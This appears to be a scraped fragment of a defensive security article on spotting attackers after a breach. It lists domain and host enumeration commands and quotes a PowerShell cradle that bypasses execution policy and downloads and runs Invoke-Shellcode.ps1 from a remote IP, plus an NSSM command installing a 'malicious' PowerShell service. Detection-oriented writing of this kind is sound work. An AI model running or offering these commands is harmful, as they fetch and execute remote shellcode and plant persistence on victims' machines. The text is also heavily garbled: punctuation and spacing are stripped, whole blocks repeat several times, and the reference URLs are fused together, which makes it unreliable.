start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
Top Related